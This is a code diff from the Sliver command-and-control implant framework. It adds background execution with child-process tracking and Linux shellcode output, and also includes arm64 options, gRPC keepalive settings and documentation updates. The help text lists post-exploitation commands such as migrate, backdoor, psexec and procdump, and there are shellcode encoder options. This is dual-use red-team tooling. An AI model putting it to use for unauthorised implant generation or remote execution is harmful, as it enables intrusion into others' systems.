// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
|
||||
captureOutput := !background && (output || saveLoot || saveOutput)
|
||||
|
||||
if captureOutput && beacon != nil {
|
||||
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
|
||||
}
|
||||
|
||||
@@ -84,6 +90,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Background: background,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
UseToken: token,
|
||||
@@ -96,6 +103,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Background: background,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
EnvInheritance: envInheritance,
|
||||
@@ -154,11 +162,23 @@ func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.Slive
|
||||
stderr, _ := cmd.Flags().GetString("stderr")
|
||||
|
||||
output, _ := cmd.Flags().GetBool("output")
|
||||
background := false
|
||||
if cmd.Flags().Lookup("background") != nil {
|
||||
background, _ = cmd.Flags().GetBool("background")
|
||||
}
|
||||
if background {
|
||||
// Background execution never returns inline output.
|
||||
output = false
|
||||
}
|
||||
if !output {
|
||||
if exec.Status == 0 {
|
||||
con.PrintInfof("Command executed successfully\n")
|
||||
if exec.Pid != 0 {
|
||||
if background {
|
||||
con.PrintInfof("Started background process (pid: %d)\n", exec.Pid)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Started process (pid: %d)\n", exec.Pid)
|
||||
} else {
|
||||
con.PrintErrorf("Exit code %d\n", exec.Status)
|
||||
con.PrintInfof("Process started\n")
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
@@ -343,13 +343,14 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
|
||||
f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem")
|
||||
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
|
||||
|
||||
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows and darwin/arm64)")
|
||||
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows, darwin/arm64, linux/amd64, linux/arm64)")
|
||||
|
||||
// Shellcode generation options:
|
||||
// - Windows: Donut
|
||||
// - macOS: beignet
|
||||
// - Linux: malasada
|
||||
f.Uint32("shellcode-entropy", 1, "Shellcode entropy (Donut: 1=none, 2=random names, 3=random+encrypt) (windows shellcode only)")
|
||||
f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows and macOS shellcode)")
|
||||
f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows, macOS, and Linux shellcode)")
|
||||
f.Uint32("shellcode-exitopt", 1, "Shellcode exit option (Donut: 1=exit thread, 2=exit process, 3=block) (windows shellcode only)")
|
||||
f.Uint32("shellcode-bypass", 3, "Shellcode bypass mode (Donut: 1=none, 2=abort, 3=continue) (windows shellcode only)")
|
||||
f.Uint32("shellcode-headers", 1, "Shellcode headers handling (Donut: 1=overwrite, 2=keep) (windows shellcode only)")
|
||||
|
||||
@@ -80,6 +80,7 @@ var (
|
||||
"darwin/arm64": true,
|
||||
"linux/386": true,
|
||||
"linux/amd64": true,
|
||||
"linux/arm64": true,
|
||||
"windows/386": true,
|
||||
"windows/amd64": true,
|
||||
}
|
||||
@@ -394,12 +395,25 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
return "", nil
|
||||
}
|
||||
if configFormat == clientpb.OutputFormat_SHELLCODE {
|
||||
if targetOS != "windows" && targetOS != "darwin" {
|
||||
con.PrintErrorf("Shellcode format is currently only supported on Windows and macOS\n")
|
||||
return "", nil
|
||||
}
|
||||
if targetOS == "darwin" && targetArch != "arm64" {
|
||||
con.PrintErrorf("macOS shellcode format is only supported on darwin/arm64\n")
|
||||
switch targetOS {
|
||||
case "windows":
|
||||
// Server-side implementation supports amd64 and 386 only.
|
||||
if targetArch != "amd64" && targetArch != "386" {
|
||||
con.PrintErrorf("Windows shellcode format is only supported on windows/amd64 and windows/386\n")
|
||||
return "", nil
|
||||
}
|
||||
case "darwin":
|
||||
if targetArch != "arm64" {
|
||||
con.PrintErrorf("macOS shellcode format is only supported on darwin/arm64\n")
|
||||
return "", nil
|
||||
}
|
||||
case "linux":
|
||||
if targetArch != "amd64" && targetArch != "arm64" {
|
||||
con.PrintErrorf("Linux shellcode format is only supported on linux/amd64 and linux/arm64\n")
|
||||
return "", nil
|
||||
}
|
||||
default:
|
||||
con.PrintErrorf("Shellcode format is currently only supported on Windows, macOS, and Linux\n")
|
||||
return "", nil
|
||||
}
|
||||
}
|
||||
@@ -585,14 +599,22 @@ func parseShellcodeFlags(cmd *cobra.Command, targetOS string, configFormat clien
|
||||
cmd.Flags().Changed("donut-unicode") ||
|
||||
cmd.Flags().Changed("donut-oep")
|
||||
|
||||
// macOS shellcode currently only supports compression.
|
||||
// macOS and Linux shellcode currently only support compression.
|
||||
if targetOS != "windows" {
|
||||
if targetOS == "darwin" {
|
||||
if windowsOnlyChanged {
|
||||
if targetOS != "darwin" && targetOS != "linux" {
|
||||
// parseCompileFlags normally blocks this, but keep a safe fallback.
|
||||
if anyChanged {
|
||||
con.PrintWarnf("Shellcode options are only supported on Windows, macOS, and Linux shellcode, ignoring.\n")
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
if windowsOnlyChanged {
|
||||
if targetOS == "darwin" {
|
||||
con.PrintWarnf("Windows-only shellcode options are ignored on macOS shellcode.\n")
|
||||
} else {
|
||||
con.PrintWarnf("Windows-only shellcode options are ignored on Linux shellcode.\n")
|
||||
}
|
||||
} else if anyChanged {
|
||||
con.PrintWarnf("Shellcode options are only supported on Windows and macOS shellcode, ignoring.\n")
|
||||
}
|
||||
|
||||
shellcodeCompress := uint32(1)
|
||||
|
||||
@@ -47,44 +47,45 @@ var (
|
||||
consts.GenerateStr: generateHelp,
|
||||
consts.StageListenerStr: stageListenerHelp,
|
||||
|
||||
consts.MsfStr: msfHelp,
|
||||
consts.MsfInjectStr: msfInjectHelp,
|
||||
consts.PsStr: psHelp,
|
||||
consts.PingStr: pingHelp,
|
||||
consts.KillStr: killHelp,
|
||||
consts.LsStr: lsHelp,
|
||||
consts.CdStr: cdHelp,
|
||||
consts.PwdStr: pwdHelp,
|
||||
consts.CatStr: catHelp,
|
||||
consts.EditStr: editHelp,
|
||||
consts.HexEditStr: hexEditHelp,
|
||||
consts.DownloadStr: downloadHelp,
|
||||
consts.GrepStr: grepHelp,
|
||||
consts.HeadStr: headHelp,
|
||||
consts.TailStr: tailHelp,
|
||||
consts.UploadStr: uploadHelp,
|
||||
consts.MkdirStr: mkdirHelp,
|
||||
consts.RmStr: rmHelp,
|
||||
consts.ChtimesStr: chtimesHelp,
|
||||
consts.ProcdumpStr: procdumpHelp,
|
||||
consts.ElevateStr: elevateHelp,
|
||||
consts.RunAsStr: runAsHelp,
|
||||
consts.ImpersonateStr: impersonateHelp,
|
||||
consts.RevToSelfStr: revToSelfHelp,
|
||||
consts.ExecuteStr: executeHelp,
|
||||
consts.ExecuteAssemblyStr: executeAssemblyHelp,
|
||||
consts.ExecuteShellcodeStr: executeShellcodeHelp,
|
||||
consts.MigrateStr: migrateHelp,
|
||||
consts.SideloadStr: sideloadHelp,
|
||||
consts.TerminateStr: terminateHelp,
|
||||
consts.AliasesStr: loadAliasHelp,
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
consts.MountStr: mountHelp,
|
||||
consts.ShikataGaNai: shikataGaNaiHelp,
|
||||
consts.ShellcodeEncodersStr: shellcodeEncodersHelp,
|
||||
consts.ShellcodeEncodersStr + sep + "encode": shellcodeEncodersEncodeHelp,
|
||||
consts.MsfStr: msfHelp,
|
||||
consts.MsfInjectStr: msfInjectHelp,
|
||||
consts.PsStr: psHelp,
|
||||
consts.PingStr: pingHelp,
|
||||
consts.KillStr: killHelp,
|
||||
consts.LsStr: lsHelp,
|
||||
consts.CdStr: cdHelp,
|
||||
consts.PwdStr: pwdHelp,
|
||||
consts.CatStr: catHelp,
|
||||
consts.EditStr: editHelp,
|
||||
consts.HexEditStr: hexEditHelp,
|
||||
consts.DownloadStr: downloadHelp,
|
||||
consts.GrepStr: grepHelp,
|
||||
consts.HeadStr: headHelp,
|
||||
consts.TailStr: tailHelp,
|
||||
consts.UploadStr: uploadHelp,
|
||||
consts.MkdirStr: mkdirHelp,
|
||||
consts.RmStr: rmHelp,
|
||||
consts.ChtimesStr: chtimesHelp,
|
||||
consts.ProcdumpStr: procdumpHelp,
|
||||
consts.ElevateStr: elevateHelp,
|
||||
consts.RunAsStr: runAsHelp,
|
||||
consts.ImpersonateStr: impersonateHelp,
|
||||
consts.RevToSelfStr: revToSelfHelp,
|
||||
consts.ExecuteStr: executeHelp,
|
||||
consts.ExecuteStr + sep + consts.ExecuteChildrenStr: executeChildrenHelp,
|
||||
consts.ExecuteAssemblyStr: executeAssemblyHelp,
|
||||
consts.ExecuteShellcodeStr: executeShellcodeHelp,
|
||||
consts.MigrateStr: migrateHelp,
|
||||
consts.SideloadStr: sideloadHelp,
|
||||
consts.TerminateStr: terminateHelp,
|
||||
consts.AliasesStr: loadAliasHelp,
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
consts.MountStr: mountHelp,
|
||||
consts.ShikataGaNai: shikataGaNaiHelp,
|
||||
consts.ShellcodeEncodersStr: shellcodeEncodersHelp,
|
||||
consts.ShellcodeEncodersStr + sep + "encode": shellcodeEncodersEncodeHelp,
|
||||
|
||||
consts.WebsitesStr: websitesHelp,
|
||||
consts.ScreenshotStr: screenshotHelp,
|
||||
@@ -135,6 +136,7 @@ var (
|
||||
|
||||
[[.Bold]]About:[[.Normal]] Execute a program on the remote system with optional arguments, note the subprocess
|
||||
arguments are be separated from the sliver 'execute' arguments with '--'
|
||||
Use [[.Bold]]--background[[.Normal]] to start the process without waiting for output (use [[.Bold]]--stdout[[.Normal]]/[[.Bold]]--stderr[[.Normal]] to redirect).
|
||||
|
||||
[[.Bold]]Example:[[.Normal]]
|
||||
execute /bin/bash --env FOO=1 -- -c env
|
||||
@@ -145,6 +147,11 @@ FOO=1
|
||||
PWD=/Users/moloch/git/sliver
|
||||
SHLVL=1
|
||||
_=/usr/bin/env
|
||||
`
|
||||
|
||||
executeChildrenHelp = `[[.Bold]]Command:[[.Normal]] execute children
|
||||
|
||||
[[.Bold]]About:[[.Normal]] List tracked background child processes started with [[.Bold]]execute --background[[.Normal]].
|
||||
`
|
||||
|
||||
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
|
||||
@@ -183,7 +190,7 @@ You can also stack the C2 configuration with multiple protocols:
|
||||
|
||||
[[.Bold]][[.Underline]]++ Formats ++[[.Normal]]
|
||||
Supported output formats include Windows PE, Windows DLL, Windows shellcode, macOS Mach-O, macOS shellcode (arm64),
|
||||
and Linux ELF. The output format is controlled with the --os and --format flags.
|
||||
Linux ELF, and Linux shellcode (amd64/arm64). The output format is controlled with the --os and --format flags.
|
||||
|
||||
To output a 64bit Windows PE file (defaults to WinPE/64bit), either of the following command would be used:
|
||||
generate --mtls foo.example.com
|
||||
@@ -202,7 +209,7 @@ To output a Linux ELF executable file, the following command would be used:
|
||||
[[.Bold]][[.Underline]]++ Shellcode Options ++[[.Normal]]
|
||||
When generating shellcode (--format shellcode), you can tune the shellcode generator:
|
||||
--shellcode-encoder <name|none> # Apply a shellcode encoder (see: shellcode-encoders)
|
||||
--shellcode-compress # Enable aPLib compression (windows and macOS)
|
||||
--shellcode-compress # Enable aPLib compression (windows, macOS, and Linux)
|
||||
--shellcode-entropy 1|2|3 # (windows only) Entropy: 1=none (default), 2=random names, 3=random+encrypt
|
||||
--shellcode-exitopt 1|2|3 # (windows only) Exit behavior: 1=exit thread (default), 2=exit process, 3=block
|
||||
--shellcode-bypass 1|2|3 # (windows only) Bypass: 1=none, 2=abort on failure, 3=continue (default)
|
||||
@@ -211,6 +218,8 @@ When generating shellcode (--format shellcode), you can tune the shellcode gener
|
||||
--shellcode-unicode # (windows only) Unmanaged DLL: pass Unicode command line
|
||||
--shellcode-oep <uint32> # (windows only) Override original entry point (0=default)
|
||||
|
||||
Note: macOS and Linux shellcode currently only support --shellcode-compress; other options are Windows-only.
|
||||
|
||||
|
||||
[[.Bold]][[.Underline]]++ DNS Canaries ++[[.Normal]]
|
||||
DNS canaries are unique per-binary domains that are deliberately NOT obfuscated during the compilation process.
|
||||
|
||||
@@ -82,7 +82,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.BoolP("no-canaries", "c", false, "disable dns canary detection")
|
||||
f.StringP("lhost", "L", "", "interface to bind server to")
|
||||
f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port")
|
||||
f.BoolP("disable-otp", "D", false, "disable otp authentication")
|
||||
})
|
||||
|
||||
// HTTP
|
||||
|
||||
@@ -40,15 +40,13 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string
|
||||
lhost, _ := cmd.Flags().GetString("lhost")
|
||||
lport, _ := cmd.Flags().GetUint32("lport")
|
||||
canaries, _ := cmd.Flags().GetBool("no-canaries")
|
||||
enforceOTP, _ := cmd.Flags().GetBool("disable-otp")
|
||||
|
||||
con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
|
||||
dns, err := con.Rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
|
||||
Domains: domains,
|
||||
Host: lhost,
|
||||
Port: lport,
|
||||
Canaries: !canaries,
|
||||
EnforceOTP: !enforceOTP,
|
||||
Domains: domains,
|
||||
Host: lhost,
|
||||
Port: lport,
|
||||
Canaries: !canaries,
|
||||
})
|
||||
con.Println()
|
||||
if err != nil {
|
||||
|
||||
@@ -285,11 +285,12 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
|
||||
}
|
||||
|
||||
f := pflag.NewFlagSet(constants.ExecuteStr, pflag.ContinueOnError)
|
||||
f.BoolP("output", "o", true, "capture command output")
|
||||
f.BoolP("output", "o", execReq.Output, "capture command output")
|
||||
f.Bool("background", execReq.Background, "start the process in the background and track it")
|
||||
f.BoolP("loot", "X", false, "save output as loot")
|
||||
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
|
||||
f.StringP("stdout", "O", "", "remote path to redirect STDOUT to")
|
||||
f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
|
||||
f.StringP("stdout", "O", execReq.Stdout, "remote path to redirect STDOUT to")
|
||||
f.StringP("stderr", "E", execReq.Stderr, "remote path to redirect STDERR to")
|
||||
|
||||
execCmd := &cobra.Command{Use: constants.ExecuteStr}
|
||||
execCmd.Flags().AddFlagSet(f)
|
||||
@@ -297,6 +298,15 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
|
||||
|
||||
exec.PrintExecute(execResult, execCmd, con)
|
||||
|
||||
case sliverpb.MsgExecuteChildrenReq:
|
||||
execChildren := &sliverpb.ExecuteChildren{}
|
||||
err := proto.Unmarshal(task.Response, execChildren)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
exec.PrintExecuteChildren(execChildren, con)
|
||||
|
||||
case sliverpb.MsgSideloadReq:
|
||||
sideload := &sliverpb.Sideload{}
|
||||
err := proto.Unmarshal(task.Response, sideload)
|
||||
|
||||
@@ -208,8 +208,9 @@ const (
|
||||
GetGIDStr = "getgid"
|
||||
WhoamiStr = "whoami"
|
||||
|
||||
ShellStr = "shell"
|
||||
ExecuteStr = "execute"
|
||||
ShellStr = "shell"
|
||||
ExecuteStr = "execute"
|
||||
ExecuteChildrenStr = "children"
|
||||
|
||||
LsStr = "ls"
|
||||
MvStr = "mv"
|
||||
|
||||
@@ -40,7 +40,8 @@ func ArmoryInstallForm(options []ArmoryInstallOption) (*ArmoryInstallFormResult,
|
||||
Title("Select packages or bundles to install").
|
||||
Description("Use space to select and enter to install.").
|
||||
Options(selectOptions...).
|
||||
Height(listHeight(len(selectOptions))).
|
||||
// huh.MultiSelect Height includes title/description, so add 2 lines for them.
|
||||
Height(listHeight(len(selectOptions)) + 2).
|
||||
Value(&result.SelectedNames)
|
||||
|
||||
form := huh.NewForm(huh.NewGroup(field))
|
||||
|
||||
@@ -39,7 +39,8 @@ func ArmoryUpdateForm(options []ArmoryUpdateOption) (*ArmoryUpdateFormResult, er
|
||||
Title("Select updates to apply").
|
||||
Description("Use space to select and enter to apply.").
|
||||
Options(selectOptions...).
|
||||
Height(listHeight(len(selectOptions))).
|
||||
// huh.MultiSelect Height includes title/description, so add 2 lines for them.
|
||||
Height(listHeight(len(selectOptions)) + 2).
|
||||
Value(&result.SelectedIDs)
|
||||
|
||||
form := huh.NewForm(huh.NewGroup(field))
|
||||
|
||||
@@ -60,6 +60,7 @@ func GenerateProfilesNewForm() (*GenerateProfilesNewFormResult, error) {
|
||||
case "linux":
|
||||
return []huh.Option[string]{
|
||||
huh.NewOption("amd64", "amd64"),
|
||||
huh.NewOption("arm64", "arm64"),
|
||||
huh.NewOption("386", "386"),
|
||||
}
|
||||
default:
|
||||
@@ -83,6 +84,8 @@ func GenerateProfilesNewForm() (*GenerateProfilesNewFormResult, error) {
|
||||
huh.NewOption("Service", "service"),
|
||||
huh.NewOption("Shellcode", "shellcode"),
|
||||
)
|
||||
} else if result.OS == "darwin" || result.OS == "linux" {
|
||||
options = append(options, huh.NewOption("Shellcode", "shellcode"))
|
||||
}
|
||||
return options
|
||||
}, &result.OS).
|
||||
|
||||
@@ -65,6 +65,7 @@ func GenerateProfilesNewBeaconForm() (*GenerateProfilesNewBeaconFormResult, erro
|
||||
case "linux":
|
||||
return []huh.Option[string]{
|
||||
huh.NewOption("amd64", "amd64"),
|
||||
huh.NewOption("arm64", "arm64"),
|
||||
huh.NewOption("386", "386"),
|
||||
}
|
||||
default:
|
||||
@@ -88,6 +89,8 @@ func GenerateProfilesNewBeaconForm() (*GenerateProfilesNewBeaconFormResult, erro
|
||||
huh.NewOption("Service", "service"),
|
||||
huh.NewOption("Shellcode", "shellcode"),
|
||||
)
|
||||
} else if result.OS == "darwin" || result.OS == "linux" {
|
||||
options = append(options, huh.NewOption("Shellcode", "shellcode"))
|
||||
}
|
||||
return options
|
||||
}, &result.OS).
|
||||
|
||||
@@ -44,6 +44,7 @@ func commonArchOptions(goos string) []huh.Option[string] {
|
||||
case "linux":
|
||||
return []huh.Option[string]{
|
||||
huh.NewOption("amd64", "amd64"),
|
||||
huh.NewOption("arm64", "arm64"),
|
||||
huh.NewOption("386", "386"),
|
||||
}
|
||||
default:
|
||||
@@ -66,6 +67,8 @@ func commonFormatOptions(goos string) []huh.Option[string] {
|
||||
)
|
||||
} else if goos == "darwin" {
|
||||
options = append(options, huh.NewOption("Shellcode", "shellcode"))
|
||||
} else if goos == "linux" {
|
||||
options = append(options, huh.NewOption("Shellcode", "shellcode"))
|
||||
}
|
||||
return options
|
||||
}
|
||||
|
||||
@@ -2,13 +2,14 @@ package forms
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"slices"
|
||||
"strings"
|
||||
|
||||
"github.com/charmbracelet/huh"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
const defaultSelectHeight = 10
|
||||
const defaultSelectHeight = 5
|
||||
|
||||
func getTerminalWidth() int {
|
||||
// Try to get actual terminal width
|
||||
@@ -93,7 +94,8 @@ func MultiSelect(title string, options []string, value *[]string) error {
|
||||
field := huh.NewMultiSelect[string]().
|
||||
Title(title).
|
||||
Options(makeStringOptions(options)...).
|
||||
Height(listHeight(len(options))).
|
||||
// huh.Select/MultiSelect Height includes title/description, so add 1 for the title line.
|
||||
Height(listHeight(len(options)) + 1).
|
||||
Value(value)
|
||||
|
||||
form := huh.NewForm(huh.NewGroup(field)).WithWidth(getTerminalWidth())
|
||||
@@ -115,7 +117,8 @@ func selectPrompt(title string, options []string, value *string, required bool)
|
||||
field := huh.NewSelect[string]().
|
||||
Title(title).
|
||||
Options(makeStringOptions(options)...).
|
||||
Height(listHeight(len(options))).
|
||||
// huh.Select Height includes title/description, so add 1 for the title line.
|
||||
Height(listHeight(len(options)) + 1).
|
||||
Value(value)
|
||||
|
||||
if required {
|
||||
@@ -147,10 +150,8 @@ func ensureSelectedValue(options []string, value *string) {
|
||||
*value = options[0]
|
||||
return
|
||||
}
|
||||
for _, option := range options {
|
||||
if option == *value {
|
||||
return
|
||||
}
|
||||
if slices.Contains(options, *value) {
|
||||
return
|
||||
}
|
||||
*value = options[0]
|
||||
}
|
||||
|
||||
+18
-17
@@ -1,5 +1,23 @@
|
||||
package packages
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2024 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
@@ -10,23 +28,6 @@ import (
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2024 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
const (
|
||||
KeyValueSchemaName = "key-value"
|
||||
GroupedKeyValueSchemaName = "grouped-key-value"
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
package transport
|
||||
|
||||
import (
|
||||
"sync"
|
||||
|
||||
"google.golang.org/grpc/keepalive"
|
||||
)
|
||||
|
||||
var (
|
||||
kaMu sync.RWMutex
|
||||
kaParams *keepalive.ClientParameters
|
||||
)
|
||||
|
||||
// SetKeepaliveParams configures gRPC keepalive pings for future MTLSConnect dials.
|
||||
// Behavior is unchanged unless this is called.
|
||||
func SetKeepaliveParams(p keepalive.ClientParameters) {
|
||||
kaMu.Lock()
|
||||
kaParams = &p
|
||||
kaMu.Unlock()
|
||||
}
|
||||
|
||||
func getKeepaliveParams() (keepalive.ClientParameters, bool) {
|
||||
kaMu.RLock()
|
||||
p := kaParams
|
||||
kaMu.RUnlock()
|
||||
if p == nil {
|
||||
return keepalive.ClientParameters{}, false
|
||||
}
|
||||
return *p, true
|
||||
}
|
||||
@@ -28,6 +28,7 @@ import (
|
||||
"time"
|
||||
|
||||
"google.golang.org/grpc"
|
||||
"google.golang.org/grpc/connectivity"
|
||||
"google.golang.org/grpc/credentials"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
@@ -71,15 +72,36 @@ func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.Clie
|
||||
options := []grpc.DialOption{
|
||||
grpc.WithTransportCredentials(transportCreds),
|
||||
grpc.WithPerRPCCredentials(callCreds),
|
||||
grpc.WithBlock(),
|
||||
grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)),
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
|
||||
defer cancel()
|
||||
connection, err := grpc.DialContext(ctx, fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
|
||||
|
||||
if kp, ok := getKeepaliveParams(); ok {
|
||||
options = append(options, grpc.WithKeepaliveParams(kp))
|
||||
}
|
||||
|
||||
connection, err := grpc.NewClient(fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
// Preserve the legacy grpc.DialContext + grpc.WithBlock behavior: block
|
||||
// until the channel becomes READY or the timeout expires.
|
||||
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
|
||||
defer cancel()
|
||||
for {
|
||||
state := connection.GetState()
|
||||
if state == connectivity.Idle {
|
||||
connection.Connect()
|
||||
}
|
||||
if state == connectivity.Ready {
|
||||
break
|
||||
}
|
||||
if !connection.WaitForStateChange(ctx, state) {
|
||||
_ = connection.Close()
|
||||
return nil, nil, ctx.Err()
|
||||
}
|
||||
}
|
||||
|
||||
return rpcpb.NewSliverRPCClient(connection), connection, nil
|
||||
}
|
||||
|
||||
@@ -120,7 +142,7 @@ func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
|
||||
|
||||
cert, err := x509.ParseCertificate(rawCerts[0]) // We should only get one cert
|
||||
if err != nil {
|
||||
log.Printf("Failed to parse certificate: " + err.Error())
|
||||
log.Printf("Failed to parse certificate: %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -134,7 +156,7 @@ func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
|
||||
panic("no root certificate")
|
||||
}
|
||||
if _, err := cert.Verify(options); err != nil {
|
||||
log.Printf("Failed to verify certificate: " + err.Error())
|
||||
log.Printf("Failed to verify certificate: %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
|
||||
@@ -15,6 +15,12 @@ The Sliver server has a configuration file located in the `configs` sub-director
|
||||
"level": 4,
|
||||
"grpc_unary_payloads": false,
|
||||
"grpc_stream_payloads": false
|
||||
},
|
||||
"grpc": {
|
||||
"keepalive": {
|
||||
"min_time_seconds": 30,
|
||||
"permit_without_stream": true
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -29,6 +35,10 @@ The Sliver server has a configuration file located in the `configs` sub-director
|
||||
- `level` - The `logrus` logging level (1 - 5), by default this is set to `4`, which is the `INFO` level; increasing this value increases the verbosity of the logs e.g. `DEBUG` is `5` and `SILENT` is `1`
|
||||
- `grpc_unary_payloads` - Log gRPC unary payloads
|
||||
- `grpc_stream_payloads` - Log gRPC streaming payloads
|
||||
- `grpc` - An object containing options for the server gRPC stack
|
||||
- `keepalive` - gRPC keepalive enforcement configuration
|
||||
- `min_time_seconds` - Minimum amount of time (in seconds) between client pings before the server sends a GOAWAY with `too_many_pings`
|
||||
- `permit_without_stream` - Allow client pings when there are no active streams
|
||||
|
||||
## Database Configuration
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
**NOTE:** Any platform can cross-compile a standalone executable to any other platform out of the box; you only need cross-compilers when using `--format shared`.
|
||||
**NOTE:** Any platform can cross-compile a standalone executable to any other platform out of the box; you primarily need cross-compilers when using CGO-based formats like `--format shared`, and for `--format shellcode` on macOS/Linux.
|
||||
|
||||
Sliver can tell you which platforms it can likely target based on the server's platform and available cross-compilers by running the `generate info` command in the console.
|
||||
|
||||
@@ -37,7 +37,7 @@ Sliver automatically looks in the default paths for these cross-compilers; once
|
||||
|
||||
## From MacOS to Linux/Windows
|
||||
|
||||
Sliver embeds a Zig cross-compiler out of the box, so Windows DLLs and Linux shared objects do not require mingw-w64 or musl-cross.
|
||||
Sliver embeds a Zig cross-compiler out of the box, so Windows DLLs and Linux shared objects/shellcode do not require mingw-w64 or musl-cross.
|
||||
|
||||
However, we're not aware of any good options to target 32-bit Linux from MacOS. Sliver automatically looks in the default paths for these cross-compilers; once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross-compiler location via the appropriate [environment variables](/docs?name=Environment+Variables).
|
||||
|
||||
|
||||
@@ -19,6 +19,12 @@ $ cat ~/.sliver/configs/server.json
|
||||
"level": 5,
|
||||
"grpc_unary_payloads": false,
|
||||
"grpc_stream_payloads": false
|
||||
},
|
||||
"grpc": {
|
||||
"keepalive": {
|
||||
"min_time_seconds": 30,
|
||||
"permit_without_stream": true
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
@@ -47,6 +47,7 @@ sliver > builders
|
||||
=============================== ========== =========== ============== ==========================
|
||||
molochs-MacBook-Pro-111.local moloch sliver darwin/arm64 EXECUTABLE:linux/386
|
||||
EXECUTABLE:linux/amd64
|
||||
EXECUTABLE:linux/arm64
|
||||
EXECUTABLE:windows/386
|
||||
EXECUTABLE:windows/amd64
|
||||
EXECUTABLE:darwin/amd64
|
||||
@@ -56,10 +57,14 @@ sliver > builders
|
||||
SHARED_LIB:darwin/amd64
|
||||
SHARED_LIB:darwin/arm64
|
||||
SHARED_LIB:linux/amd64
|
||||
SHARED_LIB:linux/arm64
|
||||
SERVICE:windows/386
|
||||
SERVICE:windows/amd64
|
||||
SHELLCODE:windows/386
|
||||
